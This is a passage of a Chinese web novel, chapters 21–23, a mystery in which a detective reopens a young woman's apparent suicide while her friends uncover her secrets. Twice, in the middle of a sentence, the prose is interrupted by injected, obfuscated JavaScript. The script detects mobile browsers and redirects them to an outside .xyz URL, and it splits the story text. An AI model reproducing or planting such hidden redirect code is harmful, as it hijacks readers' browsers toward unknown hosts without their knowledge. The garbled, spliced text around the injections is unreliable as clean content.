叶微瑄在下一站下了车。她坐过站了,只好打车回家,不然坐回去要多花半个小时。这时她发现,边何给她回消息了。边何消息的上方还有另外一条未读。她先点开那一条,是陶涂涂发给她的,就在十几分钟前。 【下周有时间吗?咱们见一面吧。我有话想和你说,是关于零零的。】 向上的扶梯近在咫尺,慢条斯理地滚动着。叶微瑄停下脚步,没有回复,直觉告诉她:最好先看看边何说了什么。 【抱歉,一直在忙。楚零一案已有进展,将重新立案侦查。】 她站在原地,内心比想象中要平静。片刻后,她深吸一口气,走上通往地面的扶梯。 21. 羽绒服1 【小边警官,羽绒服不是零零的。】 揭穿郭宇和杨浩鑫所作所为的当晚,边何收到楚零父母回复的消息。衣服与已故女儿的案子有关,这对夫妇很谨慎,他们反复确认才将结果告知边何。他们很确定,楚零的遗物中没有这件羽绒服。 真是匪夷所思,一件羽绒服就这么凭空消失了,难不成真是卖给客人的?不会,边何几乎没有犹豫就放弃了这个想法。 收到楚零父母消息时,他就坐在单位办公室的电脑前,屏幕上是客诉手机号持有人的档案。持有人不是投诉者本人,因为投诉楚零的是一个女人,而这个号码属于一个十八岁出头的男孩。 这名男孩已于去年八月前往北美攻读本科,最近没有回国。手机号是预付费,月费60元,四年前曾一次性充值5000元。四年间,手机号几乎没有被用过,直到去年十二月拨出那通投诉电话。 “我换过很多手机号,谁知道你说的是哪个。”大洋彼岸,男孩在电话一头不耐烦地表示,“还有事吗?别耽误我时间。”没等边何回答,对方就挂断了电话。 边何十分无奈,只好给男孩的家长打电话,最先联系上的是男孩的父亲。 “不好意思,那孩子被我们惯坏了,态度不好还请谅解。他确实常换手机号,我和他妈妈就存了三四个,可能还有我们不知道的。” “为什么?” “说是用来申请微信号。而且他丢三落四的,初中高中不知丢了多少手机。您找他做什么?是不是出事了?与手机号有关?”男孩父亲一连串的问了很多问题,语速快的听不清,边何也插不上嘴。那位父亲最终自己得出结论,“无论发生什么,肯定都与我儿子没关系。我儿子单纯,手机丢了都不在意,没理由做伤天害理的事。” 这是什么逻辑,边何扶着额头,胳膊杵在桌沿。“您说的有道理。不过,手机号与个人身份有关,不要轻易更换。手机丢了要尽快挂失才对……”他本能地嘱咐对方。对方“嗯”了几声,二人结束通话。 单纯……边何无奈地摇摇头。这位父亲不仅不知道儿子有几个手机号,恐怕还不知道微信小号是用来做什么的。他的宝贝儿子可是一点不单纯。 后来,边何与男孩母亲也通了电话。那位母亲的声音与投诉者不符,而且对儿子的了解比父亲还少,“换手机号又没什么大不了的。”对方如是说。 男孩一家似乎和“楚零案”没有关系。可是,遗弃的手机号是如何落到投诉者手里的,难道是巧合吗?他来回翻看男孩的档案。鼠标滑轮滚动的声音消失了,他盯着男孩的个人履历,发现了不同寻常之处。 不是吧……一个大胆的猜想浮现在脑海中,他倒吸一口凉气,用力拍了拍脑袋。怎么就没想到呢?他心想。 次日,也就是周六,痕检的同事带来了好消息,与那本牛津词典有关。他在第一时间约见了陶涂涂,随后向上级说明情况,申请对“楚零缢死”一案进行重新调查。最新证据材料经审核无异议,上级很快做出批复,准许重新立案侦查。 再过两周就春节了,应该能在节前结案,对此他信心满满。 …… 周一上午的面试没有想象中顺利,可能是睡眠不足的关系,叶微瑄的头昏昏沉沉的。这家人工智能研发公司的总经理不到四十岁,是一个还算温和的人,只是镜片后那道闪烁的目光令叶微瑄感到不自在。 “如何看待人工智能。”“对未来有什么打算?”面对总经理的问题,叶微瑄答得中规中矩。梦中高谈论阔的场景自然不会发生在现实生活中。若把那番天马行空的言论说出口,才真是昏了头呢。她一板一眼地阐述观点,不到五分钟就从总经理办公室出来了。 人力叫她回去等消息。她无法从人力脸上得到任何有效信息,一是刚面试完,二是人力的表情总是友善的恰到好处。 【我在去你家的路上,咱俩中午要不去外面吃?】 坐上回市区的公交车,她给陶涂涂发了一条消息。两人是昨晚约的今天见面,虽然面试感觉不好,但即将见到陶涂涂令叶微瑄感到放松。她已知晓一件事,陶涂涂与楚零被害无关。 “陶涂涂是个令人惊讶的女孩子。那女孩的所作所为会颠覆你对她的认知,具体的让她和你说吧,我不该是那个传话的人。”昨晚到家,她与边何通过电话,对方是这么说的,语气波澜不惊。 当她把与前店长见面的事告知边何时,对方沉默许久。不过说到顾锵然接楚零下班的情形,边何吃惊地叫了一声,听筒那头传来椅子腿与地面摩擦的声音,尖锐又刺耳。 一个个都喜欢卖关子,叶微瑄靠向窗户。陶涂涂给她回消息了,还附了一张照片。对方打算请她在家吃火锅,照片中是堆了半张桌子的火锅食材,羊肉卷、肥牛卷、虾滑丸子、菌菇娃娃菜……菜量像是五人份。 “冬天最适合吃涮羊肉,要是能下场雪就好了,简直不要太完美。”一个多小时后,陶涂涂倚着门框接过叶微瑄手中的奶茶袋,递给她一双一次性拖鞋,“没想到你还挺快的,打车吗?” “No.”叶微瑄摇摇手指,“公交加地铁,豪华通勤套餐。我可没那个闲钱打车,哪像您啊,富婆姐姐。” “少来啦,叶大小姐请随意。”陶涂涂转身回到厨房。 叶微瑄换上拖鞋,径直朝客厅走去。这不是她第一次来陶涂涂家。陶涂涂是大四寒假搬进来的,当时她来帮过忙,顺便给对方暖房。仔细想想,其实就是去年的事,告别大学生身份也不过才六个月。 她替陶涂涂关上所有房间的门,打开客厅的窗户,并随手关掉藏在龟背竹叶片后的唱片机。唱片机柜的侧边插着几张西方古典乐唱片,包装皱皱巴巴的,一看就是常听。叶微瑄一度认为陶涂涂是个很矛盾的人,晚上在聒噪的重低音中蹦蹦跳跳,早上端着咖啡欣赏优雅的古典乐。 “不冲突。就是因为无法摆脱喧闹的世界,才需要雅致的艺术醒脑。折腾累了总要休息的。”面对她的不理解,陶涂涂的解释无懈可击。 “今天不用上班吗?”叶微瑄走到餐厅,陶涂涂正向电铜锅中注开水。涮羊肉不需要火锅底料,葱姜、枸杞打底,用羊尾油润锅即可。 “晚点儿再去。” “那咱们快点儿吃,别耽误你工作。” “不用。”陶涂涂摆摆手,“我打算辞职了。”她拨开铜锅开关,几乎没用多久,水就再次沸腾。“张着个大嘴干嘛?”她咯咯笑道,“我要帮我爸做生意啦,为直播卖货做准备。” “这样啊。”叶微瑄挠了挠脸颊。以陶涂涂的家庭条件,就算不是帮父亲做生意,辞职又能怎样呢?她抬起眼皮,毫不掩饰地露出一个羡慕眼神,“真好。” “哈哈,瞧你的表情。面试表现如何?要不你来帮我?” “算了吧。”她从奶茶袋里抽出两根吸管,分别扎好,将其中一杯无糖的推给对方,“我妈说,最好不要和朋友共事,容易闹矛盾。” “令堂是对的。”陶涂涂笑道,“咱们先吃饭。” “先干杯。” “哈哈,好,干杯。” 陶涂涂的心情好像很不错,自打进门,嘴角就没有合拢过。与楚零不同,陶涂涂是一个喜形于色的人,平日会将情绪写在脸上。叶微瑄甚至想,喜欢传闲话可能不是陶涂涂的本意,即使对方嘴上能守住秘密,也可能被表情出卖。 叶微瑄嘬了一大口奶茶,是三分糖的。透过蒸腾的锅气,她看见陶涂涂正笑盈盈地下羊肉卷。“愣着干嘛,夹肉。”对方热情地招呼道,她连忙“哦”了两声。 “小料行吗?” “等会儿,我还没吃呢。”叶微瑄举着筷子,吹了吹羊肉。麻酱蘸料是陶涂涂自己调的,麻酱、韭菜花、酱豆腐的比例是3:1:1。她在对方急切的目光中吃了一口,竖起大拇指。不是恭维,是味道真的不错。 “看来零零没有敷衍我。” “啊?”叶微瑄的筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506588|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子停在半空中,上面夹着新鲜的毛肚。“零零?她吃过……不是,她来你家吃过涮羊肉?” “是的,她没告诉过你吧?” “没有。”叶微瑄将筷子伸进锅中,心情和毛肚一样七上八下。 “那是我们吃的最后一顿饭。”热气蒸腾,不知是熏的还是其他原因,陶涂涂的眼底晶莹剔透,“上个月的月初。” 毛肚早已不知去向,叶微瑄放下筷子。零零为什么会来涂涂家吃涮羊肉,她们是朋友,但很少单独相处。二人不是一类人,如果不是叶微瑄在中间张罗,她们根本玩不到一起。她沉默着看向对方。显而易见,陶涂涂的心中藏着与楚零有关的秘密,她想先听对方说。 陶涂涂深吸一口气,调整好情绪,缓缓开口:“零零去世前的几个月常来我家。但她不是来找我玩的,而是工作。”她苦笑道,“我喜欢去夜店,还要帮爸爸做陶瓷生意,这份销售医疗器械的工作简直就是累赘,幸好有零零。” 叶微瑄听明白了。“她帮你卖医疗器械?” “对,就是这个意思。不过一开始,零零找我的目的不是谋求工作,而是为了学习英语口语的技巧。” 楚零七月中旬找到陶涂涂,那时她刚接受体育零售公司的Offer,前期工作地点是运动卖场。公司有出国学习的机会,可她的口语不好。她告诉陶涂涂,爬长城遇见外国人时会紧张,更别提交流了。陶涂涂起初没有在意楚零的请求,只是向对方推荐了几个可以和外国人聊天的网站。可是没过几天,楚零就放弃通过网站练习口语了。 “零零和锵然真是一对,俩人都很保守。”说到这里,陶涂涂笑了笑,脸上满是无奈,“老外比较开放,他们上网又不是为了练英语,聊些成人话题很正常。” “零零又不是你。”叶微瑄嗔怪地看了对方一眼,“你继续。” “怎么说呢,我是心里不落忍,实在看不了那家伙努力进步的样子啊。”陶涂涂耸起眉毛,“其实口语没有技巧,敢说就行。只要敢说,模仿老外的发音腔调,习惯他们的表达逻辑就能变流利。零零缺乏练习,经济条件限制了她的学习机会。” 没错,叶微瑄配合地点点头。 陶涂涂决心帮楚零,叫楚零陪她工作,做她的免费助理。公司对销售人员的要求是成单就行,为此她将工作地点搬回家里。每晚陶涂涂和欧美客户谈单,楚零都会坐在她的身边旁听,时不时地还会冒充陶涂涂的同事与客户说上两句。楚零本就聪明,再加上英语基础不错,她的口语能力在短时间内突飞猛进。 九月初,楚零通过自己的努力成功谈成一单。这让二人意识到,她们之间的关系可能不只是老师和学生那样简单了。分成的主意是陶涂涂提出来的,有楚零帮她应付无关紧要的工作,她就可以专心忙父亲的生意,还能去阔别已久的夜店玩。 能学习、能挣钱,楚零自然不会拒绝陶涂涂的提议。两人很快达成共识,陶涂涂会将签单提成一分不差的转给楚零。她对楚零只有一个要求——保密。两人会尽量避免在微信、短信中提到这件事,以免节外生枝。 “难怪零零没有告诉我……” “她不告诉你也不全是我的原因。”陶涂涂从锅里捞出娃娃菜,煮太久了,已经蔫了,“她也不想别人知道,尤其是锵然。” 叶微瑄心里咯噔一下。不知为何,“顾锵然”三个字的出现令她后背发凉,那可是闺蜜的男朋友,也是她的好朋友。为了掩饰慌张,她端起手边的肥牛,将半盘子肉一股脑的下了进去。 “为什么不让锵然知道?”她小心翼翼地问道。 “零零说不想给锵然压力。”陶涂涂抬起眼皮,露出一个犹豫的神色,“算了,直说吧,一开始她确实是这么和我说的。但是在十月的时候,她说她这么努力,一是为了自己,二是为了争一口气。” “争气?” “对。” “和谁争气?” “锵然的妈妈。” 22. 羽绒服2 锵然的妈妈?一时间,叶微瑄惊讶的不知道该说什么。看陶涂涂淡定的表情,对方说的应该是实话。 “其实我和你一样,当时也很惊讶。”陶涂涂为叶微瑄夹了几片肉,“但我惊讶的不是零零和锵然妈妈的关系,而是零零竟然会找我倾诉。” 陶涂涂和楚零不是一类人,两人是君子之交淡如水的关系。而且,她也知道自己守不住秘密的毛病,平时很少有人和她谈心。所以当楚零主动提起烦恼时,陶涂涂捧着精心挑选的陶瓷工艺品呆站在原地,几乎忘了自己要干嘛。楚零对她说,这事她和谁都没说过,心里堵得慌。 楚零把她当成可以谈心的朋友了?对方聊着自己的苦恼,陶涂涂却有点高兴。这感觉很奇怪,就像将精心调配的彩绘颜料填在瓷器的玻璃白上,经烧制后发色刚刚好。她感到惊喜。于是,她放下手中的瓷器,耐心听楚零诉说。这一晚楚零没有帮陶涂涂谈客户,陶涂涂也没有帮父亲忙陶瓷生意。她们窝在沙发里,聊了整整半个通宵。 楚零说,她去过一次顾锵然家,见过顾锵然的母亲。从对方落寞的表情中可知,那不是一次成功的见面。 “可能谈到婚姻就全是现实了吧。”陶涂涂模仿楚零的语气说道。她学不出楚零说这话时的表情,因为她无法切身的体会到那种失落感。“零零没有和我聊过多的见面细节,只说锵然很坚持,会去劝自己的母亲。她说她承认自己依赖锵然,只不过是相互的。既然视彼此为爱人,那么就要做好战胜困难和承受委屈的准备。世间万事很难全都如人所愿,这次让她受委屈的恰好是恋人的家人罢了。” “傻丫头。”叶微瑄下意识地冒出一句。 陶涂涂耷拉下脑袋,“你和我说的一模一样。零零想争一口气,无非是想获得锵然家人的认可。我是觉得没必要,干嘛要迎合对方?离了谁不能活,犯得上非得得到别人的认可么。” 话是这么说……“你不会是这么劝她的吧?” “可能比这个委婉点吧。” 真的么?叶微瑄投出一个怀疑的目光,陶涂涂心虚地“嘿嘿”了两声。大小姐怎么能理解“放弃”对于普通人来说有多难。就像一件占地的旧衣服,有钱人可能会不假思索地扔掉,穷人却会思前想后、犹犹豫豫。哪怕放着不穿,拖着不扔,他们也不会立刻做出选择。叶微瑄想起自家冰箱里快烂掉的蔬菜,大概就是这个意思了。 二人看向铜锅,一时无言。煮烂的菜叶子和碎肉正有气无力地翻滚着。桌上的食材剩了大半,但叶微瑄没有胃口继续吃下去了。 楚零曾和她说过,理想的工作、幸福的婚姻和稳定的生活是对方追求的。楚零生前的最后半年,这些看似触手可及的小目标似乎在一个个的离她远去。“委屈”与“苦难”总是欺软怕硬,她心想。当接受成为习惯,那么无数的委屈和苦难便会接踵而至。 饭后,二人收拾了餐桌,随后在客厅沙发落座。陶涂涂为叶微瑄做了一杯咖啡,并按叶微瑄的喜好在咖啡中加了牛奶。“其他人从未有过的待遇哦。”陶涂涂语气轻松,显然没有因为沉重的话题影响心情。 这样的心态真让人羡慕。叶微瑄道了一声“谢谢”,抿了一口温热的咖啡。她好像能理解楚零为什么和陶涂涂谈心。在陶涂涂眼里,天塌下来都不是事。“涂涂,我很好奇。”她眨了眨眼睛,目光真诚,“接下来的话或许会冒犯到你,你别生气。” “别墨迹。”陶涂涂给自己也做了一杯咖啡,老样子是美式,“快说。” “你守住了零零的秘密……我挺意外的。零零找对人了。” “不是不是。” “啊?” 陶涂涂激动的差点烫到自己。她放下咖啡杯,从茶几上抽了一张纸巾。“小瑄,零零不告诉你,不是因为和你不好。”她着急地说道,“你不会生气了吧?” 看来陶涂涂误会她的意思了,虽然她确实有点嫉妒。她摇摇头,说:“没有。” “零零说,她没告诉你是怕你冲动,你可能会去找锵然理论。毕竟他俩是你撮合的。” 叶微瑄一时语塞,好像是她会做的事。 “零零还说……”陶涂涂顿了顿,露出一副“可能又多嘴了”的表情。她向后捋了一把头发,就像是在下决心,“你总说锵然窝囊,若是再知道这件事,恐怕会伤害你和锵然的关系。事先声明,我认同你的观点。” 陶涂涂紧张的样子逗得叶微瑄笑出声音。果然有这个家伙在,气氛就会好很多。叶微瑄笑而不语,认真地品了一口咖啡,牛奶与咖啡完全融合,味道不似刚刚那般苦了。“你误会我的意思了。零零没看错人,和你倾诉是最好的选择。换作是我,我真的会找锵然问个究竟。你守住了她的秘密,了不起。” “因为吃过一次教训嘛。”陶涂涂垂下视线,脸上露出内疚的神色,“是我的一时冲动害得你和马暗尘分手。”她耸耸肩,又抬头看向叶微瑄,“虽然我很喜欢马暗尘那个类型的,但你知道我不是故意的。他在外面花天酒地,我不想你被蒙在鼓里。” “啊,是这事啊。” “对呀。我没想到你们会分手。现在想想,当时的做法有些莽撞。或许我该等等,看看马暗尘会不会和你坦白;又或许我就不该参与,毕竟那是你们俩的事。总之,我欠你一声‘抱歉’,对不起。” 一股热意涌向叶微瑄的胸口。感动的言语卡在喉咙中,竟一时开不了口。“没关系的。”她的嘴唇动了动,像是说了这四个字。 “你怨过我,对吧?”陶涂涂露出一个调皮的笑容。 叶微瑄不置可否,但还是笑着摇了摇头。错的人是马暗尘,她心知肚明。不过从那之后,喜欢传闲话——成为陶涂涂在她心中的刻板印象,甚至是偏见。感觉对不起涂涂呢,她坐到陶涂涂身边,用脑袋倚住对方肩膀。“没有的事,姐妹。” 陶涂涂惊喜地揽住她,“真的?” “真的。”过去的事就过去吧,“涂涂,你约我就是为了告诉我零零不被锵然母亲认可吗?”她试探道。肯定不止这样,不然边何为什么会找陶涂涂。 “不是。我和你说这么多,是因为我觉得锵然和零零的死有关系。” 她的肩膀不由得抽动了一下。 “我怀疑锵然要和零零分手,零零一时难以接受才自杀的。” 看来涂涂不知道零零是被谋杀,边何没有告诉对方。“难怪你之前就问我,零零是不是和锵然吵架了……” “没错,我一直有所怀疑,因为我知道他们之间的事。”陶涂涂难得露出一个委屈的表情,“按理说,零零去世那周也该来我家,可是突然感冒了。她给我打了一个电话,语气有些低落,我真以为是感冒不舒服呢。” “你告诉警察了吗?” “当时没有。不得不说,守住秘密比想象中的难。我不仅骗你们说最近没和零零见面,还骗了警察。”她把边何与她见面的情形向叶微瑄简单讲述了一遍,“前天,姓边的警察又找到我,他发现了我的秘密。不,是我和零零的秘密。” “他怎么发现的啊?” “牛津词典,因为零零送我的牛津词典。” 那本词典是楚零送给陶涂涂的,但用的最多的人其实是楚零本人。她送牛津词典是因为陶涂涂的工作与英语有关,只是这份工作最后转嫁到了她的身上。事实上,每晚坐在陶涂涂家一边向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506589|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外国客户销售医疗器械,一边翻词典的人是楚零。 被人动过的东西总是容易留下痕迹,可能是指纹,可能是唾液或汗液,也可能是微小的人体组织。痕检同事带给边何的好消息便是如此。那位细心的警察翻遍整本厚重的词典,最终在其中一页发现一根头发。经检验,这根头发属于楚零。 “楚零送给你时,那本词典应该包有塑封膜吧?你没答应教楚零口语,那她的头发怎么会出现在词典里?” “我当着她的面拆词典不行吗?” “然后当场教她与医疗器械有关的名词?发现头发的页面里恰好有非常专业的医学名词。陶涂涂,你到底在隐瞒什么?在我看来,你和楚零的死没有关系。她是你的朋友,你难道不想知道她死亡的真正原因吗?即使你不想知道,她的父母可能也想知道啊。” 边何的最后一句话触动了陶涂涂。其实她早就不想隐瞒了,只是有所顾虑。楚零与顾锵然面临的现实问题是恋人间的事,即便是说,也该由顾锵然去说。她始终记得叶微瑄失恋时痛苦的模样,她怕自己的贸然多嘴会再次给别人带来麻烦。人要成长,成长意味着改变。 “那位警察很坚持,虽然这样的坚持在我看来莫名其妙。一个自杀案搞得像谋杀一样。不过,我还是选择说出知道的事。我猜他一定会去找锵然了解事实情况。”陶涂涂一口气说完,放松地喝着杯子里的咖啡。 其实她对边何仍然有所隐瞒。她告诉边何,之前所谓的借钱给楚零是在撒谎,那几笔转账是楚零应得的销售提成。这句话有真实的一面,但边何不知道,楚零生前也不知道,那几笔提成里含有陶涂涂的部分底薪。她也不理解自己为什么这么做,可能是疯了,但她就是做了。 “不管怎么说,我也算是解脱了。若不是那本牛津词典,我可能还在为零零的秘密而苦恼。零零生前最后半年过的真的很辛苦!” 叶微瑄默默地听完,缓缓开口:“锵然从没和警察说过他们的事。” “是啊,不然也轮不到我。说实话,我挺失望的。他越隐瞒,我越觉得是他的原因。当然啦,这是我的猜测。没准人家只是单纯的不想引火烧身,万一影响工作怎么办?” “工作?” “是啊,我的姐妹,你不懂了吧?他那份铁饭碗的工作可是很敏感的,容易被人诟病。若是被人发现私生活存在污点,搞不好会在基层待一辈子。” “零零才不是污点。” “错了,是我用词不当。” “好好学学语文吧,真是的。”叶微瑄打了陶涂涂一下,起身扭扭腰,“几点了?你是不是该上班了。”她扭头看向一边。冬日的太阳本来就懒,窗外天色暗淡,不是黄昏近似黄昏。 “不想去,不想面对那帮倒霉同事,还是和你聊天舒服。”陶涂涂耍赖似的抱住她的胳膊,“别走。” 叶微瑄轻轻地甩开对方。“我以前怎么没发现你黏人呢?找你的男朋友们去。” “没有‘们’啦。再说了,那不是晚上的事儿嘛?” “哈哈哈”,二人相视而笑。待笑声停止,叶微瑄走向玄关。临出门,她忽然歪着脑袋,用审视的目光看向陶涂涂。 “干嘛这么看我?怪可怕得嘞。” “哈哈,我问你件事,你要如实回答。” “您说。” “你是故意让小边警官发现牛津词典的吧?” 陶涂涂的身体明显僵了僵,只是很快便倚着门框,露出一个意味深长的笑容。“那位警察很厉害,值得被信任。”她俏皮地挤了下眼睛,没有直接回答叶微瑄的问题。 叶微瑄心下了然,点点头。是的,她赞同。 23. 羽绒服3 “不要躲在掩体后面,出来出来,不进攻怎么能赢!” “对方没有箭了,快点去捡箭,反击呀!” “红方三号被射中,下场!” 仅有两片篮球场的场馆内,充斥着木地板与胶质鞋底摩擦的声音。户外沉闷寒冷,室内却是一片热火朝天的景象。场上正在进行的不是篮球比赛,而是一种时不时就会流行一下的运动——攻防箭。 现场很热闹,场边围满了人。此时战况焦灼,场面如火如荼。比赛双方以中场线为界,分列于两个半场,各自半场置有三角形充气掩体。每方由八人组成,队员们身着蓝色或红色护甲,头戴防护面罩,手持经特殊设计的美式猎弓。攻防箭的箭头做过改动,海绵软料让这项运动看起来没那么危险。上场的多是业余选手,场边偶尔会传来刺破耳膜的尖叫声和哄笑声,“误伤”时有发生。 箭不偏不倚的落在边何脚边,他下意识地抬了抬腿。一位蓝方队员呼哧带喘地朝他跑来,捡起箭,转身搭弓。箭飞了出去,射中一位红方队员的胳膊,赢得观众热烈的欢呼。 好厉害,边何由衷的心想。他从没有尝试过射箭这项运动,但他站在场边十几分钟了,看得津津有味。目前红方只剩两人,自开始的哨音响起,他们就蹲在掩体后不敢露头。再不进攻就要输了,总躲着怎么行,他为红队感到着急。 “往高了射。”场边有观众支招,围猎总是令人兴奋,口哨声和起哄声此起彼伏。蓝方还剩四人,正洋洋洒洒地站在中线。四人互相使了一个眼色,两两走向不同的掩体。 左边来箭了,躲在掩体后的人朝右侧缩了缩身体。“啊!”右侧飞来的箭射中他的屁股。不到一分钟,结束的哨音响起,蓝方获胜。 “没有悬念啊。”“胆子太小了。”“你行你上。”“被箭打一下挺疼的。”输掉比赛的红方队员垂头丧气的走向场边,将防护面罩扔到地上。 “不好意思,让你久等了。” 边何收回视线,看向面前的人。马暗尘是刚才那场攻防箭的裁判,也是今天这场以运动为主题的小型年会的教练。下周就春节了,擅长这份工作的同事回了老家,他是临时救场。 “没有,是我打扰你工作了。”边何抱起双臂,朝楼梯口抬抬下巴,“方便了吗?咱们去二楼聊吧。” “方便,但不能太久,攻防箭后面还有一个项目。”马暗尘披上黑色长款羽绒服,像极了篮球专业的体育生。 几道闪烁的目光适时出现在周围,边何看向马暗尘身后。“还真是受欢迎啊。”他在心里说道。 二人上到二层观赛平台。这里是消费区,边何买了瓶体能饮料递给对方,马暗尘道了一声“谢谢”。两人坐到平台的角落,这里能看到篮球场的全貌。就是这时,哨音再度响起,新一轮攻防箭比赛开始。接替马暗尘执法的是个女裁判,从话术上看,显然也是临时充数的。 “没想到你们公司还接这种年会。”边何盯着场内,这轮比赛的红方队员比较强,“有点像团建。” “对。这家公司规模不大,办不起大型年会。公司年会以趣味运动会的形式举办,竞技项目结束后,他们会去聚餐,按照比赛成绩颁发奖品。” “挺新颖的形式。” “是的。比起传统年会,我更喜欢这样的形式。各部门员工被打乱,与平时相对陌生的同事成为队友,为了共同的目标努力。这不就是年会想要达到的目的吗?” “有道理。”边何认可地点点头,“不过……即使关系再好,同事也就是同事吧?” “分人。”马暗尘举起体能饮料,一口气喝下半瓶,懒洋洋地靠向椅背。最近太忙,他已不记得上一次休息是什么时候。“你找我是为了零零的案子?感觉过去很久了。” 这话听着似曾相识,边何笑笑。“确实是因为楚零。”他开门见山地说道。时间有限,最好直入正题。“你和顾锵然的关系还不错吧?” “啊?”马暗尘微微挺起身体。“为什么提锵然?”——脸上的表情出卖了他。“锵然怎么了?”他下意识地反问。 “没怎么,请先回答我的问题。” “我和他关系挺好的,是朋友。” “是那种一起商量如何带女孩出去过夜的朋友吗?又或者是,背着女朋友放肆的讨论谁腿长、谁身材好的那种?哦,可能还会有各自的排名,并互相比较。”边何抱着胳膊笑,“如果其中一人约别的女人见面,另一个也会帮忙在对方女朋友面前打马虎眼,对吧?” 确实都是他做过的事,但马暗尘知道边何另有他意。“你想说什么?” “其实男人间的友情和女人间的可能差不多。”他想起陶涂涂,“分享乱七八糟的琐事,相互抱怨烦恼。或许恋人从不是最好的倾诉对象,他们不懂自己的烦恼,又或者是不用懂。有的事与其让恋人知道,不如自己慢慢解决掉,这样可以省去很多麻烦。” “我有点听不懂了。” “顾锵然大概就是这样的人。可是,他的能力有限。计划好的生活忽然出现变故,自己又无法妥善的解决,该找谁帮忙呢?”边何收起开玩笑的姿态,认真地看向马暗尘。大概是迫于他犀利的眼神,对方不由自主地坐直身体,“当然是好兄弟。最亲近的两个人都无法帮他,毕竟变故与她们有关。” 马暗尘尴尬地咳嗽了一声,深吸一口气。“你都知道了。” “是的。”边何没什么语气地答道。他今天本打算直接找顾锵然,但思来想去,决定先和马暗尘聊聊。重新立案后,他和同事翻来覆去的查看与顾锵然有关的证据。他发现顾锵然在去年九月初的一段时间内,频繁的给马暗尘打电话。在那之前,楚零才去过顾家。 “你怀疑零零的自杀与锵然有关?即便是有,也是恋人间的问题。何必揪着不放呢?”马暗尘弓起背,扭头看向边何,“说句不好听的,零零已经离开了,不如放过活着的人。”说这话时,他的眼中透着一丝疲惫。 “放过?抱歉,不能。”边何摇摇头,“死人是没法解释的。如果活着的人再不做点什么,那么真相就会石沉大海。有的人或许会庆幸,有的人或许会悲伤。人们立场不同,对真相的期待就不同。世界上那么多的大活人,又不止顾锵然一个。零零的父母不也活着呢吗?” “可她的父母已接受现实了啊。继续调查只会多一人内疚,又有什么意义?锵然对零零的死十分自责,但我相信,他没做过任何对不起零零的事。” “此案尚有疑点,不好判断。告诉我你知道的,或许我们很快就能知道答案。” 空气凝住了,场内的喧嚣似乎也迎来片刻的休憩。边何一动不动地盯着马暗尘。对方身体弯曲,拧着眉毛看向地面。 不知过了多久,马暗尘长叹一口气,僵硬的肩膀渐渐松弛。“赢了!”楼下有人大喊大叫,热烈而又激情的声音再度响彻耳边。 “好吧。”他自言自语道。 兄弟间的秘密当然不能说出去,一是想不起来,二是要仗义。若当年在酒店大堂看到他与别的女生同进同出的是顾锵然而不是陶涂涂,那么叶微瑄也许还是他的女朋友。 他和顾锵然是不打不相识,对方稳重的性格是他没有的,即使偶尔看上去有点窝囊。但了解顾锵然可知,对方不是窝囊,只是需要时间权衡利弊。 “我妈常说,别在高兴或者生气的时候做决定,冲动做出的决定多半是错的。要学会等待。”顾锵然常这么说。慢慢的,马暗尘竟觉得有几分道理。在此之前,他最讨厌的就是等待。 大学时,他们成为志同道合的好兄弟。两人性格互补,生活中会互相帮忙。马暗尘会怂恿顾锵然带楚零旅行,教对方如何说服女朋友同意。顾锵然胆子小,但有马暗尘的撺掇,胆子渐渐大了起来。他们还会窝在寝室看低趣味的电影,讨论网图中女人的身材。总之,坚固的兄弟情义就在这种满是三俗的相处中建立了。 马暗尘对顾锵然还抱有感激之情。叶微瑄与他分手后,顾锵然作为兄弟经常安慰他,并且会将通过楚零了解到的叶微瑄近况告诉他。临近毕业,顾锵然被梦寐以求的单位录取,并借着这个原因将大家召集在一起。 就是那天,顾锵然当着所有人的面大声宣布:“零零,等我在单位站稳脚跟,我就把咱们的事告诉家里,咱们结婚。” 当时所有人都在为顾锵然和楚零感到高兴,陶涂涂更是激动的又叫又跳。马暗尘也很高兴,但不全是因为顾锵然。近半年没有理他的叶微瑄就坐在他的对面。他看见叶微瑄举起双手欢呼,随后朝他露出一个浅浅的微笑。也是那天,他和她再度成为朋友。 朋友就朋友吧,来日方长,他想。 五人里最先结婚的一定是顾锵然和楚零,马暗尘对此深信不疑,直到去年九月接到那通令他颇感意外的电话。 “我妈不同意我和零零的事……”他清楚的记得顾锵然灰心的语气,“她不断的给我介绍相亲对象。我不想去,但是没办法。你千万别告诉零零。” “零零怎么办?” “不知道,反正我是不会和零零分手的。”听得出来,顾锵然略显无奈的语气中藏着不易察觉的倔强。“见面就是应付差事。”对方反复说道,就像是给自己信心。 从那之后,顾锵然常找马暗尘商量结婚的事。马暗尘第一次觉得,沉稳老实的顾锵然也有叛逆的一面。顾锵然的母亲不让他见楚零,他偏要见。不仅要见,还要把家里的花和家具搬到楚零家。据顾锵然说,家里偶尔会鸡飞狗跳的。从小到大,他很少顶撞母亲,但为了楚零,他已和母亲争吵过多次。 马暗尘其实没把这件事放在心上。他认为,一切都会由时间解决。就像他当初追叶微瑄,对方最终被感动。就像他们分手,叶微瑄对他视而不见,后又恢复朋友的关系。要学会等待——这是顾锵然教他的。做父母的总是拗不过孩子,顾母早晚有一天会同意锵然与零零的婚事。 然而,他没能等来兄弟的喜讯。 